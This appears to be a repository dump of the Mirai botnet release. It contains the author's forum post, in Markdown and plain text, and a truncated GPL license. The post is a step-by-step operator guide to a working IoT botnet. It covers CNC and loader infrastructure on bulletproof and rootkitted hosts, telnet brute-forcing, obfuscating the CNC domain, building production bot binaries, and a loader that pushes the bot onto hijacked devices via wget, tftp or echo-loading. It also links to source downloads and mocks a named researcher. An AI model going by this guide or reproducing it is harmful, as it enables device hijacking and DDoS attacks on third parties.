[
  {
    "path": "ForumPost.md",
    "content": "* Original quote from: [Anna-senpai](https://hackforums.net/showthread.php?tid=5420472)\n* Date posted: Fri 30 Sep 19:50:52 UTC 2016\n* [See original archived post](ForumPost.txt)\n\n# Preface\n\nGreetz everybody,\n\nWhen I first go in DDoS industry, I wasn't planning on staying in it long. I\nmade my money, there's lots of eyes looking at IOT now, so it's time to GTFO.\nHowever, I know every skid and their mama, it's their wet dream to have\nsomething besides qbot.\n\nSo today, I have an amazing release for you. With Mirai, I usually pull max 380k\nbots from telnet alone. However, after the Kreb DDoS, ISPs been slowly shutting\ndown and cleaning up their act. Today, max pull is about 300k bots, and\ndropping.\n\nSo, I am your senpai, and I will treat you real nice, my hf-chan.\n\nAnd to everyone that thought they were doing anything by hitting my CNC, I had\ngood laughs, this bot uses domain for CNC. It takes 60 seconds for all bots to\nreconnect, lol\n\nAlso, shoutout to this blog post by malwaremustdie\n\n* http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html\n* https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html\n  <- backup in case low quality reverse engineer unixfreaxjp decides to edit his\n  posts lol\n\nHad a lot of respect for you, thought you were good reverser, but you\nreally just completely and totally failed in reversing this binary. \"We still\nhave better kung fu than you kiddos\" don't make me laugh please, you made so\nmany mistakes and even confused some different binaries with my. LOL\n\nLet me give you some slaps back -\n\n1. port `48101` is not for back connect, it is for control to prevent multiple\n   instances of bot running together\n2. `/dev/watchdog` and `/dev/misc` are not for \"making the delay\", it for\n   preventing system from hanging. This one is low-hanging fruit, so sad that\n   you are extremely dumb\n3. You failed and thought `FAKE_CNC_ADDR` and `FAKE_CNC_PORT` was real CNC, lol\n   \"And doing the backdoor to connect via HTTP on 65.222.202.53\". you got\n   tripped up by signal flow ;) try harder skiddo\n4. Your skeleton tool sucks ass, it thought the attack decoder was \"sinden\n   style\", but it does not even use a text-based protocol? CNC and bot\n   communicate over binary protocol\n5. you say 'chroot(\"/\") so predictable like torlus' but you don't understand,\n   some others kill based on cwd. It shows how out-of-the-loop you are with real\n   malware. Go back to skidland\n\n5 slaps for you\n\nWhy are you writing reverse engineer tools? You cannot even correctly reverse in\nthe first place. Please learn some skills first before trying to impress others.\nYour arrogance in declaring how you \"beat me\" with your dumb kung-fu statement\nmade me laugh so hard while eating my SO had to pat me on the back.\n\nJust as I forever be free, you will be doomed to mediocracy forever.\n\n\n# Requirements\n\n### Bare Minimum\n\n2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading\n\n### Pro Setup (my setup)\n\n2 VPS and 4 servers\n\n* 1 VPS with extremely bulletproof host for database server\n* 1 VPS, rootkitted, for scanReceiver and distributor\n* 1 server for CNC (used like 2% CPU with 400k bots)\n* 3x 10gbps NForce servers for loading (distributor distributes to 3 servers\n  equally)\n\n\n# Infrastructure Overview\n\n* To establish connection to CNC, bots resolve a domain\n  ([`resolv.c`](mirai/bot/resolv.c)/[`resolv.h`](mirai/bot/resolv.h)) and\n  connect to that IP address\n* Bots brute telnet using an advanced SYN scanner that is around 80x faster than\n  the one in qbot, and uses almost 20x less resources. When finding bruted\n  result, bot resolves another domain and reports it. This is chained to a\n  separate server to automatically load onto devices as results come in.\n* Bruted results are sent by default on port 48101. The utility called\n  scanListen.go in tools is used to receive bruted results (I was getting around\n  500 bruted results per second at peak). If you build in debug mode, you should\n  see the utitlity scanListen binary appear in debug folder.\n\nMirai uses a spreading mechanism similar to self-rep, but what I call\n\"real-time-load\". Basically, bots brute results, send it to a server listening\nwith `scanListen` utility, which sends the results to the loader. This loop\n(`brute -> scanListen -> load -> brute`) is known as real time loading.\n\nThe loader can be configured to use multiple IP address to bypass port\nexhaustion in linux (there are limited number of ports available, which means\nthat there is not enough variation in tuple to get more than 65k simultaneous\noutbound connections - in theory, this value lot less). I would have maybe 60k -\n70k simultaneous outbound connections (simultaneous loading) spread out across 5\nIPs.\n\n# Configuring Bot\n\nBot has several configuration options that are obfuscated in `table.c/table.h`.\nIn [`./mirai/bot/table.h`](mirai/bot/table.h) you can find most descriptions for\nconfiguration options.  However, in [`./mirai/bot/table.c`](mirai/bot/table.c)\nthere are a few options you *need* to change to get working.\n\n* `TABLE_CNC_DOMAIN` - Domain name of CNC to connect to - DDoS avoidance very\n  fun with mirai, people try to hit my CNC but I update it faster than they can\n  find new IPs, lol. Retards :)\n* `TABLE_CNC_PORT` - Port to connect to, its set to 23 already\n* `TABLE_SCAN_CB_DOMAIN` - When finding bruted results, this domain it is\n  reported to\n* `TABLE_SCAN_CB_PORT` - Port to connect to for bruted results, it is set to\n  `48101` already.\n\nIn [`./mirai/tools`](mirai/tools) you will find something called enc.c - You\nmust compile this to output things to put in the table.c file\n\nRun this inside mirai directory\n\n    ./build.sh debug telnet\n\nYou will get some errors related to cross-compilers not being there if you have\nnot configured them. This is ok, won't affect compiling the enc tool\n\nNow, in the `./mirai/debug` folder you should see a compiled binary called enc.\nFor example, to get obfuscated string for domain name for bots to connect to,\nuse this:\n\n    ./debug/enc string fuck.the.police.com\n\nThe output should look like this\n\n    XOR'ing 20 bytes of data...\n    \\x44\\x57\\x41\\x49\\x0C\\x56\\x4A\\x47\\x0C\\x52\\x4D\\x4E\\x4B\\x41\\x47\\x0C\\x41\\x4D\\x4F\\x22\n\nTo update the `TABLE_CNC_DOMAIN` value for example, replace  that long hex string\nwith the one provided by enc tool. Also, you see `XOR'ing 20 bytes of data`.\nThis value must replace the last argument tas well. So for example, the table.c\nline originally looks like this\n\n    add_entry(TABLE_CNC_DOMAIN, \"\\x41\\x4C\\x41\\x0C\\x41\\x4A\\x43\\x4C\\x45\\x47\\x4F\\x47\\x0C\\x41\\x4D\\x4F\\x22\", 30); // cnc.changeme.com\n\nNow that we know value from enc tool, we update it like this\n\n    add_entry(TABLE_CNC_DOMAIN, \"\\x44\\x57\\x41\\x49\\x0C\\x56\\x4A\\x47\\x0C\\x52\\x4D\\x4E\\x4B\\x41\\x47\\x0C\\x41\\x4D\\x4F\\x22\", 20); // fuck.the.police.com\n\nSome values are strings, some are port (uint16 in network order / big endian).\n\n# Configuring CNC\n\n    apt-get install mysql-server mysql-client\n\nCNC requires database to work. When you install database, go into it and run\nfollowing commands: http://pastebin.com/86d0iL9g (ref:\n[`db.sql`](scripts/db.sql))\n\nThis will create database for you. To add your user,\n\n    INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, '');\n\nNow, go into file [`./mirai/cnc/main.go`](mirai/cnc/main.go)\n\nEdit these values\n\n    const DatabaseAddr string   = \"127.0.0.1\"\n    const DatabaseUser string   = \"root\"\n    const DatabasePass string   = \"password\"\n    const DatabaseTable string  = \"mirai\"\n\nTo the information for the mysql server you just installed\n\n\n# Setting Up Cross Compilers\n\nCross compilers are easy, follow the instructions at this link to set up. You\nmust restart your system or reload .bashrc file for these changes to take\neffect.\n\nhttp://pastebin.com/1rRCc3aD (ref:\n[`cross-compile.sh`](scripts/cross-compile.sh))\n\n# Building CNC+Bot\n\nThe CNC, bot, and related tools:\n\n1. http://santasbigcandycane.cx/mirai.src.zip - *THESE LINKS WILL NOT LAST\n  FOREVER, 2 WEEKS MAX - BACK IT UP!*<br>\n  ![mirai.src.zip contents](scripts/images/BVc7qJs.png)\n2. http://santasbigcandycane.cx/loader.src.zip - *THESE LINKS WILL NOT LAST\n   FOREVER, 2 WEEKS MAX - BACK IT UP!*\n\n### How to build bot + CNC\n\nIn mirai folder, there is [`build.sh`](mirai/build.sh) script.\n\n    ./build.sh debug telnet\n\nWill output debug binaries of bot that will not daemonize and print out info\nabout if it can connect to CNC, etc, status of floods, etc. Compiles to\n`./mirai/debug` folder\n\n    ./build.sh release telnet\n\nWill output production-ready binaries of bot that are extremely stripped, small\n(about 60K) that should be loaded onto devices. Compiles all binaries in format:\n`mirai.$ARCH` to `./mirai/release` folder\n\n\n# Building Echo Loader\n\nLoader reads telnet entries from STDIN in following format:\n\n    ip:port user:pass\n\nIt detects if there is wget or tftp, and tries to download the binary using\nthat. If not, it will echoload a tiny binary (about 1kb) that will suffice as\nwget.\n\n    ./build.sh\n\nWill build the loader, optimized, production use, no fuss. If you have a file in\nformats used for loading, you can do this\n\n    cat file.txt | ./loader\n\nRemember to `ulimit`!\n\nJust so it's clear, I'm not providing any kind of 1 on 1 help tutorials or shit,\ntoo much time. All scripts and everything are included to set up working botnet\nin under 1 hours. I am willing to help if you have individual questions (how\ncome CNC not connecting to database, I did this this this blah blah), but not\nquestions like \"My bot not connect, fix it\"\n"
  },
  {
    "path": "ForumPost.txt",
    "content": "[FREE] World's Largest Net:Mirai Botnet, Client, Echo Loader, CNC source code release - Anna-senpai - 09-30-2016 11:50 AM\n\nPreface\nGreetz everybody,\n\nWhen I first go in DDoS industry, I wasn't planning on staying in it long. I made my money, there's lots of eyes looking at IOT now, so it's time to GTFO. However, I know every skid and their mama, it's their wet dream to have something besides qbot.\n\nSo today, I have an amazing release for you. With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS, ISPs been slowly shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.\n\nSo, I am your senpai, and I will treat you real nice, my hf-chan.\n\nAnd to everyone that thought they were doing anything by hitting my CNC, I had good laughs, this bot uses domain for CNC. It takes 60 seconds for all bots to reconnect, lol\n\nAlso, shoutout to this blog post by malwaremustdie\nhttp://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html\nhttps://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html <- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol\nHad a lot of respect for you, thought you were good reverser, but you really just completely and totally failed in reversing this binary. \"We still have better kung fu than you kiddos\" don't make me laugh please, you made so many mistakes and even confused some different binaries with my. LOL\n\nLet me give you some slaps back -\n1) port 48101 is not for back connect, it is for control to prevent multiple instances of bot running together\n2) /dev/watchdog and /dev/misc are not for \"making the delay\", it for preventing system from hanging. This one is low-hanging fruit, so sad that you are extremely dumb\n3) You failed and thought FAKE_CNC_ADDR and FAKE_CNC_PORT was real CNC, lol \"And doing the backdoor to connect via HTTP on 65.222.202.53\". you got tripped up by signal flow ;) try harder skiddo\n4) Your skeleton tool sucks ass, it thought the attack decoder was \"sinden style\", but it does not even use a text-based protocol? CNC and bot communicate over binary protocol\n5) you say 'chroot(\"/\") so predictable like torlus' but you don't understand, some others kill based on cwd. It shows how out-of-the-loop you are with real malware. Go back to skidland\n\n5 slaps for you\n\nWhy are you writing reverse engineer tools? You cannot even correctly reverse in the first place. Please learn some skills first before trying to impress others. Your arrogance in declaring how you \"beat me\" with your dumb kung-fu statement made me laugh so hard while eating my SO had to pat me on the back.\n\nJust as I forever be free, you will be doomed to mediocracy forever.\n\n\nRequirements\nBare Minimum\n2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading\n\nPro Setup (my setup)\n2 VPS and 4 servers\n- 1 VPS with extremely bulletproof host for database server\n- 1 VPS, rootkitted, for scanReceiver and distributor\n- 1 server for CNC (used like 2% CPU with 400k bots)\n- 3x 10gbps NForce servers for loading (distributor distributes to 3 servers equally)\n\n\nInfrastructure Overview\n- To establish connection to CNC, bots resolve a domain (resolv.c/resolv.h) and connect to that IP address\n- Bots brute telnet using an advanced SYN scanner that is around 80x faster than the one in qbot, and uses almost 20x less resources. When finding bruted result, bot resolves another domain and reports it. This is chained to a separate server to automatically load onto devices as results come in.\n- Bruted results are sent by default on port 48101. The utility called scanListen.go in tools is used to receive bruted results (I was getting around 500 bruted results per second at peak). If you build in debug mode, you should see the utitlity scanListen binary appear in debug folder.\n\nMirai uses a spreading mechanism similar to self-rep, but what I call \"real-time-load\". Basically, bots brute results, send it to a server listening with scanListen utility, which sends the results to the loader. This loop (brute -> scanListen -> load -> brute) is known as real time loading.\n\nThe loader can be configured to use multiple IP address to bypass port exhaustion in linux (there are limited number of ports available, which means that there is not enough variation in tuple to get more than 65k simultaneous outbound connections - in theory, this value lot less). I would have maybe 60k - 70k simultaneous outbound connections (simultaneous loading) spread out across 5 IPs.\n\nConfiguring Bot\nBot has several configuration options that are obfuscated in (table.c/table.h). In ./mirai/bot/table.h you can find most descriptions for configuration options. However, in ./mirai/bot/table.c there are a few options you *need* to change to get working.\n\n- TABLE_CNC_DOMAIN - Domain name of CNC to connect to - DDoS avoidance very fun with mirai, people try to hit my CNC but I update it faster than they can find new IPs, lol. Retards :)\n- TABLE_CNC_PORT - Port to connect to, its set to 23 already\n- TABLE_SCAN_CB_DOMAIN - When finding bruted results, this domain it is reported to\n- TABLE_SCAN_CB_PORT - Port to connect to for bruted results, it is set to 48101 already.\n\nIn ./mirai/tools you will find something called enc.c - You must compile this to output things to put in the table.c file\n\nRun this inside mirai directory\nCode:\n./build.sh debug telnet\nYou will get some errors related to cross-compilers not being there if you have not configured them. This is ok, won't affect compiling the enc tool\n\nNow, in the ./mirai/debug folder you should see a compiled binary called enc. For example, to get obfuscated string for domain name for bots to connect to, use this:\nCode:\n./debug/enc string fuck.the.police.com\n\nThe output should look like this\nCode:\nXOR'ing 20 bytes of data...\n\\x44\\x57\\x41\\x49\\x0C\\x56\\x4A\\x47\\x0C\\x52\\x4D\\x4E\\x4B\\x41\\x47\\x0C\\x41\\x4D\\x4F\\x22​\n\nTo update the TABLE_CNC_DOMAIN value for example, replace that long hex string with the one provided by enc tool. Also, you see \"XOR'ing 20 bytes of data\". This value must replace the last argument tas well. So for example, the table.c line originally looks like this\n\n[/code]\nadd_entry(TABLE_CNC_DOMAIN, \"\\x41\\x4C\\x41\\x0C\\x41\\x4A\\x43\\x4C\\x45\\x47\\x4F\\x47\\x0C\\x41\\x4D\\x4F\\x22\", 30); // cnc.changeme.com\n[/code]\n\nNow that we know value from enc tool, we update it like this\nCode:\nadd_entry(TABLE_CNC_DOMAIN, \"\\x44\\x57\\x41\\x49\\x0C\\x56\\x4A\\x47\\x0C\\x52\\x4D\\x4E\\x4B\\x41\\x47\\x0C\\x41\\x4D\\x4F\\x22​\", 20); // fuck.the.police.com\n\nSome values are strings, some are port (uint16 in network order / big endian).\n\nConfiguring CNC\nCode:\napt-get install mysql-server mysql-client\nCNC requires database to work. When you install database, go into it and run following commands:\nhttp://pastebin.com/86d0iL9g\n\nThis will create database for you. To add your user,\nCode:\nINSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, '');\n\nNow, go into file ./mirai/cnc/main.go\n\nEdit these values\n\nCode:\nconst DatabaseAddr string   = \"127.0.0.1\"\nconst DatabaseUser string   = \"root\"\nconst DatabasePass string   = \"password\"\nconst DatabaseTable string  = \"mirai\"\n\nTo the information for the mysql server you just installed\n\n\nSetting Up Cross Compilers\nCross compilers are easy, follow the instructions at this link to set up. You must restart your system or reload .bashrc file for these changes to take effect.\n\nhttp://pastebin.com/1rRCc3aD\n\nBuilding CNC+Bot\nThe CNC, bot, and related tools:\n1) http://santasbigcandycane.cx/mirai.src.zip - THESE LINKS WILL NOT LAST FOREVER, 2 WEEKS MAX - BACK IT UP!\n[Image: BVc7qJs.png]\n\n2) http://santasbigcandycane.cx/loader.src.zip - THESE LINKS WILL NOT LAST FOREVER, 2 WEEKS MAX - BACK IT UP!\n\nHow to build bot + CNC\nIn mirai folder, there is build.sh script.\n\nCode:\n./build.sh debug telnet\nWill output debug binaries of bot that will not daemonize and print out info about if it can connect to CNC, etc, status of floods, etc. Compiles to ./mirai/debug folder\n\nCode:\n./build.sh release telnet\nWill output production-ready binaries of bot that are extremely stripped, small (about 60K) that should be loaded onto devices. Compiles all binaries in format: \"mirai.$ARCH\" to ./mirai/release folder\n\n\nBuilding Echo Loader\nLoader reads telnet entries from STDIN in following format:\nCode:\nip:port user:pass\nIt detects if there is wget or tftp, and tries to download the binary using that. If not, it will echoload a tiny binary (about 1kb) that will suffice as wget. You can find code to compile the tiny downloader stub h ere\nhttp://santasbigcandycane.cx/dlr.src.zip\n\nYou need to edit your main.c for the dlr to include the HTTP server IP. The idea is, if the iot device doesn have tftp or wget, then it will echo load this 2kb binary, which download the real binary, since echo loading really slow.\nWhen you compile, place your dlr.* files into the folder ./bins for the loader\n\nCode:\n./build.sh\nWill build the loader, optimized, production use, no fuss. If you have a file in formats used for loading, you can do this\n\nCode:\ncat file.txt | ./loader\n\nRemember to ulimit!\n\nJust so it's clear, I'm not providing any kind of 1 on 1 help tutorials or shit, too much time. All scripts and everything are included to set up working botnet in under 1 hours. I am willing to help if you have individual questions (how come CNC not connecting to database, I did this this this blah blah), but not questions like \"My bot not connect, fix it\"\n"
  },
  {
    "path": "LICENSE.md",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the 